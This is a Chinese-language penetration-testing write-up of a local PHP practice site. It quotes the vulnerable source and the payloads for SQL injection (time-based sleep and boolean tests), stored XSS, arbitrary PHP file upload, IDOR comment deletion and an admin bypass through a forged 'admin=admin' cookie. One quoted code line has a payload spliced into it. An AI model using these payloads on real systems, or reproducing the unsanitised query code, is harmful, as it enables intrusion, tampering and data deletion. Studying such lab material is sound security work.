1.SQL注入
造成SQL注入的原因
没有对前端传入的参数做严格的过滤就拼接到SQL语句中,从而造成了SQL注入。
1.1用户登录
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\checkUser.php
if(isset($_POST["user_name"]) && isset($_POST["user_pass"])){ //trim()函数的作用是去除首位空白字符 $usename = trim($_POST["user_name"]); $password = trim($_POST["user_pass"]); $password = md5($password); //这里没有做任何的校验就直接将用户名和密码拼接在SQL语句中,造成了漏洞 $sql = "select * from users where user_name='$usename' and user_pass='$password'"; //echo $sql; //exit(); $selectSQL = new MySql(); //getRow()函数的作用是执行sql语句,查询单行 $user_data = $selectSQL->getRow($sql);
漏洞复现
payload
test%27%20and%20user_pass='e10adc3949ba59abbe56e057f20f883e'%20and%20if(1=1,sleep(10),1)%20# test%27%20and%20user_pass='e10adc3949ba59abbe56e057f20f883e'%20and%20if(1=2,sleep(10),1)%20#
1=1时放包后等待了10秒后页面显示
1=2时放包后直接显示页面
1.2留言框
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\comment.php
if(!empty($_POST)) { if(isset($_POST["username"]) && isset($_POST["comment_text"])) { $username = trim($_POST["username"]); $text = trim($_POST["comment_text"]); //依然没有做任何校验就直接拼接到了SQL语句中 $sql = "insert into comment(username,text,pub_date) values('$username','$text ',now())"; echo $sql; //insert into comment(username,text,pub_date) values('111','7777777777',now()); $pubSQL = new MySql(); $pubSQL->Exec($sql); $rows = $pubSQL->affectRows();
漏洞复现
payload
666%27%20and%20if(1=1,sleep(10),1)%2cnow())%20# 666%27%20and%20if(1=2,sleep(10),1)%2cnow())%20#
1=1时放包后等待了10秒后页面显示
1=2时放包后直接显示页面
1.3删除留言
页面截图
管理员删除留言
用户删除留言
查看源代码
管理员
D:\phpstudy_pro\WWW\cs.com\admin\comment_del.php
//开始删除操作 if(isset($_GET["id"])) { $id = trim($_GET["id"]); $sql = "delete from comment where comment_id=$id"; $deleteSQL = new MySql(); $deleteSQL->Exec($sql);
用户
D:\phpstudy_pro\WWW\cs.com\del_comment.php
if(isset($_GET["id"])) { //删除指定的评论 $id = trim($_GET["id"]); $sql = "delete from comment where comment_id=$id"; $deleteSQL = new MySql(); $deleteSQL->Exec($sql);
漏洞复现(由于复现流程一样,因此只写了管理员的)
payload
8%20and%201=1%20--+ 10%20and%201=2%20--+
id=8时,拼接and 1=1 --+放包发现页面返回正常,且数据库中id=8的留言已被删除
id=10时,拼接and 1=2 --+放包发现页面返回删除失败
1.4忘记密码
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\forget_check.php
if(isset($_POST["user_name"]) && isset($_POST["user_email"])){ $username = trim($_POST["user_name"]); $email = trim($_POST["user_email"]); //没有校验 $sql = "select * from users where user_name = '$username' and user_email='$email'"; echo $sql; $selectSQL = new MySql(); $user_data = $selectSQL->getRow($sql);
漏洞复现
payload
test%40test.com%27%20and%201=1%20# test%40test.com%27%20and%201=2%20#
1=1时返回正常页面
1=2时返回验证信息错误
1.5删除用户
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\admin\user_del.php
if(isset($_GET["id"])) { $id = trim($_GET["id"]); //没有校验,直接拼接 $sql = "delete from users where user_id=$id"; echo $sql; $deleteSQL = new MySql(); $deleteSQL->Exec($sql);
漏洞复现
payload
3%20and%201=1%20 3%20and%201=2%20
1=1时返回正常页面
1=2时返回删除失败
1.6搜索框
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\search.php
if(isset($_POST["search"])){ $search = trim($_POST["search"]); //没有做任何过滤,存在sql注入漏洞 $sql_comment = "select * from comment where text like '%$search%' order by comment_id"; $commentSQL = new MySql(); $commentData = $commentSQL->getAll($sql_comment);
漏洞复现
payload
123%25%27%20and%20if(1=2,sleep(10),1)%20#
1=1时延迟10秒后返回正常页面
1=2时页面直接响应,且搜索内容正确
1.7管理员登录
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\admin\admin_check.php
if(isset($_POST["user_name"]) && isset($_POST["user_pass"])){ $usename = trim($_POST["user_name"]); $password = trim($_POST["user_pass"]); $password = md5($password); //没有对传入的参数做校验 $sql = "select * from admin where admin_username='$usename' and admin_password='$password'"; echo $sql; //exit(); $selectSQL = new MySql(); $user_data = $selectSQL->getRow($sql);
漏洞复现
payload
admin%27%20and%20admin_password='21232f297a57a5a743894a0e4a801fc3'%20and%201=1%20# admin%27%20and%20admin_password='21232f297a57a5a743894a0e4a801fc3'%20and%201=2%20#
1=1时返回正常页面
1=2时返回用户名或密码错误
2.XSS
2.1留言框XSS存储型
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\comment.php
if(isset($_POST["username"]) && isset($_POST["comment_text"])) { $username = trim($_POST["username"]); $text = trim($_POST["comment_text"]); //没有做任何校验就直接将前端传入的数据插入到数据库中,并且在页面中打印出来,导致了漏洞的产生 $sql = "insert into comment(username,text,pub_date) values('$username','666' and if(1=1,sleep(10),1),now())"; #',now())"; echo $sql; //insert into comment(username,text,pub_date) values('111','7777777777',now()); $pubSQL = new MySql(); $pubSQL->Exec($sql);
D:\phpstudy_pro\WWW\cs.com\user.php
//获取分页用户的评论 $start = ($curr_page-1)*5; $len = 5; $sql_comment = "select * from comment where username='$username' order by comment_id desc limit $start,$len"; $commentSQL = new MySql(); $commentData = $commentSQL->getAll($sql_comment);
D:\phpstudy_pro\WWW\cs.com\admin\comment_edit.php
//查出所有留言 $sql_comment = "select * from comment order by comment_id desc"; $commentSQL = new MySql(); $commentData = $commentSQL->getAll($sql_comment)
漏洞复现
payload
<script>alert(1)</script>
在所查看留言页面中进行了输出
在留言管理页面也进行了输出
在数据库中也成功被插入
2.2用户注册XSS存储型
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\register_user.php
if((isset($_POST["user_pass"]))&&(isset($_POST["user_pass2"]))) { $user_pass = trim($_POST["user_pass"]); $user_pass2 = trim($_POST["user_pass2"]); if($user_pass!=$user_pass2) { echo "密码不一致"; header("Refresh:2;url=register.php"); }else{ $user_name = $_POST["user_name"]; $user_email = $_POST["user_email"]; $user_pic="./upload/default/pic.jpg"; $user_pass = md5($user_pass); /* var_dump($_POST); exit(); */ $sql = "insert into users(user_name,user_email,user_pass,user_pic,join_date) values('$user_name','$user_email','$user_pass','$user_pic',DATE_FORMAT(NOW(),'%Y-%m-%d'))"; echo $sql; $inserSQL = new MySql(); $inserSQL->Exec($sql);
D:\phpstudy_pro\WWW\cs.com\user.php
//获取用户信息 $username = $_SESSION["user"]; $sql = "select * from users where user_name='$username'"; $userSQL = new MySql(); $userData = $userSQL->getRow($sql);
漏洞复现
点击注册会弹框
注册刷新后也会弹框,用户名显示为空,说明xss的代码被解析
登录时也会弹窗
还有点击发留言和编辑资料按钮时也会弹框,总结下来就一句话,只要页面上有用户名的存在,就会弹框。
3.文件上传
3.1编辑资料处任意文件上传
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\update_user.php
//头像设置操作,移动文件 if($_FILES["user_pic"]["name"]!='') { //上传文件 $pic_path = upFile(); $username = $_SESSION["user"]; $user_pic = $pic_path; //var_dump($pic_path); $pic_sql ="update users set user_pic='$pic_path' where user_name='$username'"; $picSQL = new MySql(); $picSQL->Exec($pic_sql); $rows = $picSQL->affectRows();
D:\phpstudy_pro\WWW\cs.com\lib\func.php
/** * 上传文件操作 * * @return $file 返回移动后的文件路径 */ function upFile(){ $dir = PATH."/upload/images/".date('Y_m_d'); $dir_bak = "/upload/images/".date('Y_m_d'); is_dir($dir) || mkdir($dir,0777,true); $fileName = date('Y_m_d_H_i_s', time())."_".(rand(100000,900000)); $fileType = strrchr($_FILES["user_pic"]["name"], "."); $fileName = "Upload_".$fileName.$fileType; $destination = $dir."/".$fileName; move_uploaded_file($_FILES["user_pic"]["tmp_name"],$destination); $filePath = $dir_bak."/".$fileName; return $filePath; }
D:\phpstudy_pro\WWW\cs.com\admin\view\user.html
<div class="col-md-3"> <img width="200px" src='<?php echo $userData["user_pic"];?>' alt="头像" class="img-thumbnail"> <br/> <br/> 欢迎:<?php echo $userData["user_name"];?> </div>
漏洞复现
直接上传php文件
在新标签页中打开图片
4.逻辑漏洞
4.1发留言存在越权漏洞
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\admin\comment.php
if(!empty($_POST)) { if(isset($_POST["username"]) && isset($_POST["comment_text"])) { $username = trim($_POST["username"]); $text = trim($_POST["comment_text"]); $sql = "insert into comment(username,text,pub_date) values('$username','$text',now())"; echo $sql; //insert into comment(username,text,pub_date) values('111','7777777777',now()); $pubSQL = new MySql(); $pubSQL->Exec($sql);
只验证了前端传来的参数是否为空,没有用户信息。
漏洞复现
抓包,把username改为admin
当然也可以改为test123,那样就可以当作是水平越权漏洞了。
4.2用户删留言存在越权漏洞
页面截图
查看源代码
D:\phpstudy_pro\WWW\cs.com\del_comment.php
//开始删除操作 if(isset($_GET["id"])) { $id = trim($_GET["id"]); $sql = "delete from comment where comment_id=$id"; $deleteSQL = new MySql(); $deleteSQL->Exec($sql);
漏洞复现
删除test用户的留言并抓包
修改id=21并放包
查看留言,test123用户的666留言被删除了,证明漏洞存在
4.3越权删除任意用户留言(另一种姿势)
换一个浏览器登录,或者删除掉之前admin登录留下的session
直接访问以下链接并抓包
http://cs.com/admin/comment_del.php?id=1
在cookie字段中添加 ;admin=admin ,并放包
查看数据库,评论被删除,证明漏洞存在
4.4越权删除任意用户(姿势与4.3一样,就不过多赘述了)
5.未授权访问
5.1后台用户管理存在未授权访问
直接访问后台管理,并抓包
http://cs.com/admin/user_edit.php
在cookie字段添加 ;admin=admin
放包,直接登录进入后台管理页面,证明漏洞存在